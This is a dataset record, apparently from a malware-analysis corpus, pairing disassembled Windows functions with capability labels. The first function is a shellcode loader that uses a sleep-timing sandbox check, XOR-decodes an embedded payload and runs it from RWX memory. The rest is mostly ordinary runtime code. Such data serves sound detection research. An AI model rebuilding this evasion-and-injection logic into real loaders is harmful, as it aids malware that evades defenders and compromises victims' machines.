joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001940
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x41120
call fcn.140002830
sub rsp, rax
mov rax, qword [0x140045008]
xor rax, rsp
mov qword [rsp + 0x41110], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1f40
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, ebx
lea rcx, [0x14000346c]
mov edi, eax
call fcn.1400018e0
mov edx, edi
lea rcx, [0x14000346c]
call fcn.1400018e0
lea ecx, [rbx + 0x1f0e]
cmp edi, ecx
jb 0x140001b20
lea ecx, [rbx + 0x1f54]
cmp edi, ecx
ja 0x140001b20
mov r8d, 0x40e09
lea rdx, [0x140003470]
lea rcx, [rsp + 0x300]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x104
lea rdx, [rsp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x140001a1e
lea rcx, str.Get_Name_error
call fcn.1400018e0
mov eax, 1
mov rcx, qword [rsp + 0x41110]
xor rcx, rsp
call fcn.140001b40
mov rbx, qword [rsp + 0x41138]
add rsp, 0x41120
pop rdi
ret
mov qword [rsp + 0x41130], rsi
lea rcx, [rsp + 0xf0]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001a40
movzx eax, byte [rsp + rax*2 + 0xec]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x20], al
call section..text
movups xmm0, xmmword [0x140044290]
lea rdi, [rsp + 0xe0]
mov esi, 0x40e1
lea rax, [rsp + 0x300]
movaps xmmword [rsp + 0xe0], xmm0
lea rbx, [rsp + 0x300]
sub rdi, rax
nop word [rax + rax]
movups xmm0, xmmword [rbx]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400016b0
mov ecx, 0x10
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x140001ac0
sub rdi, 0x10
movaps xmmword [rsp + 0xe0], xmm0
sub rsi, 1
jne 0x140001aa0
mov edx, 0x40e09
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x40e09
lea rdx, [rsp + 0x300]
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
mov rsi, qword [rsp + 0x41130]
xor eax, eax
jmp 0x1400019fd
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14000122c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
nop dword [rax + rax]
xor r14d, r14d
test rax, rax
je 0x1400012ba
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
nop dword [rax + rax]
mov rbx, rax
test rax, rax
je 0x1400012ba
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
nop dword [rax + rax]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x1400012aa
cmp rbx, rcx
jae 0x1400012ba
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140001295
cmp rbx, rcx
jae 0x1400012ba
cmp word [rbx], r14w
je 0x1400012ba
mov rax, rbx
jmp 0x1400012bc
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14002b1b8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14003fda0], eax
call fcn.14002b940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14003fda0], 0
jne case.default.0x14002b20e
mov ecx, 1
call fcn.14002b940
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
out dx, al
and bh, bh
test al, 0
invalid
Function at 0x14000e45c
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x250
mov rax, qword [0x14029f3b8]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov r15, r8
xor r13d, r13d
mov qword [r8], r13
mov r9d, 0x104
lea rdx, [rsp + 0x30]
lea rax, [rsp + 0x30]
sub rcx, rax
lea rax, [r9 + 0x7ffffefa]
test rax, rax
je 0x14000e4d1
movzx eax, word [rcx + rdx]
test ax, ax
je 0x14000e4d1
mov word [rdx], ax
add rdx, 2
sub r9, 1
jne 0x14000e4af
lea rax, [rdx - 2]
test r9, r9
cmovne rax, rdx
mov word [rax], r13w
lea r8, [0x1402510f0]
lea rcx, [rsp + 0x30]
call fcn.14000c7d4
lea r8, [rsp + 0x30]
xor edx, edx
mov ebx, 0x1f0003
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov rdi, rax
test rax, rax
setne r12b
test rax, rax
jne 0x14000e53b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x14000e60e
mov rcx, qword [rbp + 0x178]
mov edx, 0xc9
call fcn.14000e24c
mov esi, eax
jmp 0x14000e611
mov dword [rsp + 0x24], r13d
mov dword [rsp + 0x20], r13d
lea rdx, [rsp + 0x24]
mov rcx, rdi
call fcn.14000e318
mov esi, eax
test eax, eax
jns 0x14000e571
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xcf
call fcn.14000e22c
jmp 0x14000e611
lea r8, [0x1402510f8]
lea rcx, [rsp + 0x30]
call fcn.14000c7d4
lea r8, [rsp + 0x30]
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov rbx, rax
test rax, rax
setne r14b
test rax, rax
jne 0x14000e5b5
mov rcx, qword [rbp + 0x178]
mov edx, 0xd5
call fcn.14000e24c
mov esi, eax
jmp 0x14000e5dc
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.14000e318
mov esi, eax
test eax, eax
jns 0x14000e5ec
mov rcx, qword [rbp + 0x178]
mov r9d, eax
mov edx, 0xd7
call fcn.14000e22c
test r14b, r14b
je 0x14000e611
mov rcx, rbx
call fcn.14000e2a8
nop
jmp 0x14000e611
test r14b, r14b
je 0x14000e5fa
mov rcx, rbx
call fcn.14000e2a8
nop
movsxd rcx, dword [rsp + 0x20]
shl rcx, 0x1f
movsxd rax, dword [rsp + 0x24]
or rax, rcx
mov qword [r15], rax
mov esi, r13d
test r12b, r12b
je 0x14000e61f
mov rcx, rdi
call fcn.14000e2a8
nop
mov eax, esi
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140220ed0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x14000f570
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13c0]
mov eax, 0x14c0
call fcn.140227620
sub rsp, rax
mov r14, r8
mov esi, edx
mov rdi, rcx
mov r15, qword [rbp + 0x1428]
xor edx, edx
mov r8d, 0x98
lea rcx, [rsp + 0x20]
call fcn.140222f30
nop
xor r13d, r13d
mov word [rbp + 0x3c0], r13w
mov byte [rbp - 0x40], r13b
mov rbx, qword [rbp + 0x1430]
mov ecx, dword [rbx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rbx + 4]
mov dword [rsp + 0x2c], eax
call fcn.14000ceb0
mov r12d, eax
mov dword [rsp + 0x20], 3
mov ecx, r13d
lea eax, [r13 + 8]
cmp byte [rbx + 8], r13b
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
lea ecx, [rax - 7]
lock xadd dword [0x1402a2848], ecx
inc ecx
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp + 0x1438]
test rcx, rcx
je 0x14000f624
cmp word [rcx], r13w
mov qword [rsp + 0x38], rcx
jne 0x14000f629
mov qword [rsp + 0x38], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], r12d
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], r13
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rdi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x1402a2838]
test rax, rax
je 0x14000f685
call qword [case.0x14003d846.0]
mov qword [rbp - 0x60], rax
jmp 0x14000f689
mov qword [rbp - 0x60], r13
mov rax, qword [0x1402a27d8]
test rax, rax
je 0x14000f6aa
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
mov rax, qword [0x1402a27c8]
test rax, rax
je 0x14000f6c1
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
mov rax, qword [0x1402a2800]
test rax, rax
je 0x14000f6d8
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
cmp dword [rsp + 0x28], r13d
jl 0x14000f6f1
mov ecx, 0x8000ffff
mov dword [rsp + 0x28], ecx
call fcn.14000d0bc
mov dword [rsp + 0x2c], eax
cmp byte [0x1402a2780], r13b
jne 0x14000f74a
mov rax, qword [0x1402a2770]
test rax, rax
je 0x14000f711
call qword [case.0x14003d846.0]
movzx ecx, al
jmp 0x14000f71f
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, r13d
test eax, eax
setne cl
test ecx, ecx
jne 0x14000f74a
mov rax, qword [0x1402a2788]
test rax, rax
je 0x14000f7a4
cmp byte [0x1402a27a8], r13b
jne 0x14000f7a4
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
jmp 0x14000f7a4
mov ebx, 0x800
mov rax, qword [0x1402a2788]
test rax, rax
je 0x14000f779
cmp byte [0x1402a27a8], r13b
jne 0x14000f779
mov r8d, ebx
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
cmp word [rbp + 0x3c0], r13w
jne 0x14000f797
lea r8, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.14000cab0
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp byte [0x1402a2790], r13b
je 0x14000f7c0
mov rax, qword [0x1402a27e8]
test rax, rax
je 0x14000f7c0
call qword [case.0x14003d846.0]
nop
lea rcx, [rsp + 0x20]
call fcn.14000e074
int3
Function at 0x14000f7cc
Capabilities:
Print debug messages

Disassembly:
jmp 0x14000f9f0
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.140227620
sub rsp, rax
mov rax, qword [0x14029f3b8]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov esi, edx
mov r14, rcx
mov rdi, qword [rbp + 0x1428]
xor edx, edx
mov r8d, 0x98
lea rcx, [rsp + 0x20]
call fcn.140222f30
nop
xor r15d, r15d
mov word [rbp + 0x3c0], r15w
mov byte [rbp - 0x40], r15b
mov rdx, qword [rbp + 0x1430]
mov ecx, dword [rdx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rdx + 4]
mov dword [rsp + 0x2c], eax
call fcn.14000ce80
mov ebx, eax
lea r8d, [r15 + 1]
mov dword [rsp + 0x20], r8d
mov ecx, r15d
lea eax, [r15 + 8]
cmp byte [rdx + 8], r15b
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
mov ecx, r8d
lock xadd dword [0x1402a2848], ecx
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x38], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
lea rax, [0x14025108c]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x1402a2838]
test rax, rax
je 0x14000faff
call qword [case.0x14003d846.0]
mov qword [rbp - 0x60], rax
jmp 0x14000fb03
mov qword [rbp - 0x60], r15
mov rax, qword [0x1402a27d8]
test rax, rax
je 0x14000fb24
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
mov rax, qword [0x1402a27c8]
test rax, rax
je 0x14000fb3b
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
mov rax, qword [0x1402a2800]
test rax, rax
je 0x14000fb52
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
cmp dword [rsp + 0x28], r15d
jge 0x14000fc52
cmp byte [0x1402a2780], r15b
jne 0x14000fbb6
mov rax, qword [0x1402a2770]
test rax, rax
je 0x14000fb7d
call qword [case.0x14003d846.0]
movzx ecx, al
jmp 0x14000fb8b
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, r15d
test eax, eax
setne cl
test ecx, ecx
jne 0x14000fbb6
mov rax, qword [0x1402a2788]
test rax, rax
je 0x14000fc10
cmp byte [0x1402a27a8], r15b
jne 0x14000fc10
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
jmp 0x14000fc10
mov ebx, 0x800
mov rax, qword [0x1402a2788]
test rax, rax
je 0x14000fbe5
cmp byte [0x1402a27a8], r15b
jne 0x14000fbe5
mov r8d, ebx
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
cmp word [rbp + 0x3c0], r15w
jne 0x14000fc03
lea r8, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.14000cab0
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp byte [0x1402a2790], r15b
je 0x14000fc2c
mov rax, qword [0x1402a27e8]
test rax, rax
je 0x14000fc2c
call qword [case.0x14003d846.0]
nop
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.140220ed0
mov rbx, qword [rsp + 0x1510]
add rsp, 0x14d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000e2a0
nop
int3
Function at 0x14000f9f0
Capabilities:
Print debug messages

Disassembly:
jmp 0x14000f9f0
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x13d0]
mov eax, 0x14d0
call fcn.140227620
sub rsp, rax
mov rax, qword [0x14029f3b8]
xor rax, rsp
mov qword [rbp + 0x13c0], rax
mov esi, edx
mov r14, rcx
mov rdi, qword [rbp + 0x1428]
xor edx, edx
mov r8d, 0x98
lea rcx, [rsp + 0x20]
call fcn.140222f30
nop
xor r15d, r15d
mov word [rbp + 0x3c0], r15w
mov byte [rbp - 0x40], r15b
mov rdx, qword [rbp + 0x1430]
mov ecx, dword [rdx]
mov dword [rsp + 0x28], ecx
mov eax, dword [rdx + 4]
mov dword [rsp + 0x2c], eax
call fcn.14000ce80
mov ebx, eax
lea r8d, [r15 + 1]
mov dword [rsp + 0x20], r8d
mov ecx, r15d
lea eax, [r15 + 8]
cmp byte [rdx + 8], r15b
cmovne ecx, eax
mov dword [rsp + 0x24], ecx
mov ecx, r8d
lock xadd dword [0x1402a2848], ecx
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x38], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x40], eax
lea rax, [0x14025108c]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], ebx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], r15
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
xorps xmm1, xmm1
movups xmmword [rsp + 0x68], xmm1
movups xmmword [rsp + 0x78], xmm1
mov rax, qword [0x1402a2838]
test rax, rax
je 0x14000faff
call qword [case.0x14003d846.0]
mov qword [rbp - 0x60], rax
jmp 0x14000fb03
mov qword [rbp - 0x60], r15
mov rax, qword [0x1402a27d8]
test rax, rax
je 0x14000fb24
mov r8d, 0x400
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
mov rax, qword [0x1402a27c8]
test rax, rax
je 0x14000fb3b
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
mov rax, qword [0x1402a2800]
test rax, rax
je 0x14000fb52
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
cmp dword [rsp + 0x28], r15d
jge 0x14000fc52
cmp byte [0x1402a2780], r15b
jne 0x14000fbb6
mov rax, qword [0x1402a2770]
test rax, rax
je 0x14000fb7d
call qword [case.0x14003d846.0]
movzx ecx, al
jmp 0x14000fb8b
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, r15d
test eax, eax
setne cl
test ecx, ecx
jne 0x14000fbb6
mov rax, qword [0x1402a2788]
test rax, rax
je 0x14000fc10
cmp byte [0x1402a27a8], r15b
jne 0x14000fc10
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
jmp 0x14000fc10
mov ebx, 0x800
mov rax, qword [0x1402a2788]
test rax, rax
je 0x14000fbe5
cmp byte [0x1402a27a8], r15b
jne 0x14000fbe5
mov r8d, ebx
lea rdx, [rbp + 0x3c0]
lea rcx, [rsp + 0x20]
call qword [case.0x14003d846.0]
cmp word [rbp + 0x3c0], r15w
jne 0x14000fc03
lea r8, [rsp + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x3c0]
call fcn.14000cab0
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp byte [0x1402a2790], r15b
je 0x14000fc2c
mov rax, qword [0x1402a27e8]
test rax, rax
je 0x14000fc2c
call qword [case.0x14003d846.0]
nop
mov rcx, qword [rbp + 0x13c0]
xor rcx, rsp
call fcn.140220ed0
mov rbx, qword [rsp + 0x1510]
add rsp, 0x14d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.14000e2a0
nop
int3
Function at 0x140019b60
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov edi, dword [0x1402983f8]
lea eax, [rdx + rdx]
and edi, 0x3fffffff
mov dword [0x14029841c], 1
and dword [0x140298410], 0
lea r14, [0x140298048]
mov esi, edx
mov dword [0x140298420], eax
mov rcx, qword [0x140298400]
lea rdx, [0x140298408]
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
jne 0x140019bf3
mov rax, qword [0x140298048]
cmp rax, r14
je 0x140019bf3
test byte [rax + 0x1c], 1
je 0x140019bf3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x140298048]
lea r8, [0x140251a58]
mov edx, 0x20
mov r9d, eax
mov rcx, qword [rcx + 0x10]
call fcn.140010cd4
mov rcx, qword [0x140298430]
mov edx, esi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x140019c61
mov ebx, dword [0x1402983f8]
and ebx, 0x3fffffff
cmp ebx, edi
jb 0x140019c54
mov rcx, qword [0x140298048]
cmp rcx, r14
je 0x140019c40
test byte [rcx + 0x1c], 1
je 0x140019c40
mov rcx, qword [rcx + 0x10]
lea r8, [0x140251a58]
mov edx, 0x21
call fcn.140010cb4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 2
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
inc dword [0x14029841c]
mov edi, ebx
jmp 0x140019ba4
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140019c78
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
sub rsp, 0x20
and dword [0x140298410], 0
xor r9d, r9d
and dword [0x140298414], 0
mov rbx, rdx
and dword [0x140298418], 0
xor r8d, r8d
and dword [0x14029841c], 0
xor ecx, ecx
and dword [0x140298420], 0
lea esi, [r9 + 1]
mov edx, esi
mov dword [0x140298408], 0x10
mov dword [0x14029840c], 2
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140298430], rax
lea rbp, [0x140298048]
test rax, rax
jne 0x140019d24
mov rax, qword [0x140298048]
cmp rax, rbp
je 0x140019d1d
test byte [rax + 0x1c], sil
je 0x140019d1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea edx, [rsi + 0x17]
mov rcx, qword [0x140298048]
lea r8, [0x140251a58]
mov r9d, eax
mov rcx, qword [rcx + 0x10]
call fcn.140010cd4
xor ebx, ebx
jmp 0x140019dca
xor r9d, r9d
xor r8d, r8d
mov edx, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140298428], rax
test rax, rax
jne 0x140019d5f
mov rax, qword [0x140298048]
cmp rax, rbp
je 0x140019d1d
test byte [rax + 0x1c], sil
je 0x140019d1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x19
jmp 0x140019d03
xor r8d, r8d
lea rdx, [0x140019600]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov qword [0x140298400], rax
test rax, rax
jne 0x140019da0
mov rax, qword [0x140298048]
cmp rax, rbp
je 0x140019d1d
test byte [rax + 0x1c], sil
je 0x140019d1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x1a
jmp 0x140019d03
call fcn.14001990c
mov ebx, eax
call fcn.14001972c
test eax, eax
je 0x140019db7
call fcn.140019a24
jmp 0x140019dbe
mov edx, esi
call fcn.140019800
call fcn.140019758
mov edx, eax
call fcn.140019b60
mov rax, qword [0x140298428]
test rax, rax
je 0x140019de7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [0x140298428], 0
mov rax, qword [0x140298430]
test rax, rax
je 0x140019e04
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [0x140298430], 0
test ebx, ebx
je 0x140019e7e
mov rcx, qword [0x140298400]
lea rdx, [0x140298408]
and dword [0x140298410], 0
and dword [0x14029841c], 0
and dword [0x140298420], 0
mov dword [0x14029840c], esi
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
jne 0x140019e7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [0x140298048]
cmp rcx, rbp
je 0x140019e6d
test byte [rcx + 0x1c], sil
je 0x140019e6d
mov rcx, qword [rcx + 0x10]
lea r8, [0x140251a58]
mov edx, 0x22
mov r9d, eax
call fcn.140010cd4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
ret
Function at 0x1400201d8
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14029f3b8]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor r14d, r14d
lea rax, [rsp + 0x60]
mov rdi, rcx
mov qword [rsp + 0x48], r14
mov rcx, qword [rcx]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
mov rsi, rdx
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x1400202eb
mov ebx, r14d
test rcx, rcx
je 0x14002025e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x48], rcx
test ebx, ebx
jne 0x1400202eb
mov qword [rsp + 0x68], r14
jmp 0x14002028d
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.1400201d8
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test eax, eax
jne 0x1400202eb
lea rax, [rsp + 0x68]
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], r14
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140020273
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400202d9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], r14
mov rdx, rsi
mov rcx, rdi
call fcn.140020344
mov rcx, qword [rsp + 0x48]
mov ebx, eax
test rcx, rcx
je 0x1400202f6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140220ed0
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140020ecc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x480
mov rax, qword [0x14029f3b8]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov r14, r9
mov rdi, r8
mov rax, rdx
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x60], rbx
xor edx, edx
lea r8d, [rbx + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140020f35
call fcn.14001f66c
mov ebx, eax
jmp 0x140021077
xor r9d, r9d
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov rdi, rax
test rax, rax
jne 0x140020f59
call fcn.14001f66c
jmp 0x14002106b
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140020f4f
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, edi
jae 0x140020fab
lea rax, [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x140020fa1
lea rcx, [rsp + 0x60]
call fcn.14001f61c
nop
mov eax, 0x8007000e
jmp 0x140021090
mov ecx, eax
mov r8, rbx
test eax, eax
je 0x140020fce
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jae 0x140020fca
mov ecx, 0x80070057
jmp 0x140020fd0
lea r8, [rcx + rcx]
mov ecx, ebx
mov eax, ecx
shr eax, 0x1f
test al, al
jne 0x1400210b4
cmp r8, 0x400
jbe 0x140020ffa
mov rdx, r8
lea rcx, [rsp + 0x60]
call fcn.14001f640
mov rax, qword [rsp + 0x60]
jmp 0x140021004
lea rax, [rsp + 0x68]
mov qword [rsp + 0x60], rax
jmp 0x14002101b
test rax, rax
jne 0x140021027
mov ebx, 0x8007000e
jmp 0x14002106d
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, edi
